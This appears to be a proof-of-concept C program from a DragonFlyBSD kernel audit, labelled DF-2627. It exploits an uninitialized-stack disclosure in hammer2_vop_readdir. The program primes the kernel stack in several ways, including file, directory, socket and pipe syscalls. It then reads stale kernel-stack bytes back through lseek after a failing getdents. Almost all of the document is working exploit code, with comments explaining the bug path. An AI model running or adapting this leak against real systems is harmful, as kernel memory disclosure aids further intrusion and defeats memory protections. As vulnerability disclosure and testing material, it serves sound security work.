DragonFlyBSD Kernel Audit
DF-2627 / leak_df2627.c
← back to finding ↓ download raw
/*
 * DF-2627 leak sampler -- hammer2_vop_readdir uninitialized-stack disclosure.
 *
 * Bug: hammer2_vnops.c:750 reads stack-uninitialized `bref.key` when the
 * FIRST xop collect fails; :758 stores it into uio->uio_offset; and
 * kern_getdirentries (sys/kern/vfs_syscalls.c:4645-4646) copies
 * auio.uio_offset into fp->f_offset even on error return.  Userspace reads
 * the stale kernel-stack bytes back with lseek(fd, 0, SEEK_CUR).
 *
 * usage: leak_df2627 <dir> <iters> <mode>
 *   mode n : no priming (natural stack history)
 *   mode f : each iteration in a fresh fork()ed child
 *   mode o : prime the kernel stack with open+fstat+close of a file before
 *            each getdents (hammer2 nlookup path uses this stack depth)
 *   mode r : prime with a full getdents of a HEALTHY hammer2 directory
 *            (previous hammer2_vop_readdir frame lands at the same stack
 *            address -> bref reused deterministically)
 *
 * Each line:  "sample <i> rc=<n> errno=<e> cookie=0x%016jx"
 */
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <dirent.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/uio.h>

static int
getdents_(int fd, void *buf, size_t n)
{
	/* DragonFly: int getdents(int fd, char *buf, int nbytes) */
	return getdents(fd, (char *)buf, (int)n);
}

static void
one_sample(const char *dir, const char *primefile, const char *primedir,
    char mode, int i)
{
	char buf[4096];
	char path[512];
	long cookie;
	int fd, rc, e, pfd;

	/* --- prime the kernel stack ------------------------------------- */
	if (mode == 'o' && primefile) {
		struct stat st;
		snprintf(path, sizeof(path), "%s/%s", dir, primefile);
		pfd = open(path, O_RDONLY);
		if (pfd >= 0) {
			fstat(pfd, &st);
			close(pfd);
		}
	} else if (mode == 'r' && primedir) {
		char pbuf[4096];
		int pd = open(primedir, O_RDONLY);
		if (pd >= 0) {
			while (getdents_(pd, pbuf, sizeof(pbuf)) > 0)
				;
			close(pd);
		}
	} else if (mode == 's') {
		/* network syscall path primes the kstack differently */
		int sd = socket(2 /*AF_INET*/, 1 /*SOCK_STREAM*/, 6);
		if (sd >= 0)
			close(sd);
		sd = socket(1 /*AF_UNIX*/, 2 /*SOCK_DGRAM*/, 0);
		if (sd >= 0)
			close(sd);
	} else if (mode == 'w') {
		/* pipe + writev with an iovec array (stack usage in sys_writev) */
		char tmp[64];
		struct iovec iov[4];
		int pfd2[2];
		int k;
		for (k = 0; k < 4; k++) {
			iov[k].iov_base = tmp;
			iov[k].iov_len = 1;
		}
		if (pipe(pfd2) == 0) {
			writev(pfd2[1], iov, 4);
			close(pfd2[0]);
			close(pfd2[1]);
		}
	}

	/* --- the leak ---------------------------------------------------- */
	fd = open(dir, O_RDONLY);
	if (fd < 0) {
		printf("sample %d open_failed errno=%d\n", i, errno);
		return;
	}
	rc = getdents_(fd, buf, sizeof(buf));
	e = errno;
	errno = 0;
	cookie = lseek(fd, 0, SEEK_CUR);
	printf("sample %d rc=%d errno=%d cookie=0x%016lx\n",
	       i, rc, e, (unsigned long)cookie);
	close(fd);
}

int
main(int argc, char **argv)
{
	const char *dir, *primefile, *primedir;
	int iters, i;
	char mode;

	if (argc < 4) {
		fprintf(stderr, "usage: %s <dir> <iters> <n|f|o|r|s|w> "
		    "[primefile] [primedir]\n", argv[0]);
		return 2;
	}
	dir = argv[1];
	iters = atoi(argv[2]);
	mode = argv[3][0];
	primefile = argc > 4 ? argv[4] : NULL;
	primedir = argc > 5 ? argv[5] : NULL;

	for (i = 0; i < iters; i++) {
		if (mode == 'f') {
			pid_t pid = fork();
			if (pid == 0) {
				one_sample(dir, primefile, primedir,
				    i % 2 ? 'n' : 's', i);
				fflush(NULL);
				_exit(0);
			}
			waitpid(pid, NULL, 0);
		} else {
			one_sample(dir, primefile, primedir, mode, i);
		}
	}
	return 0;
}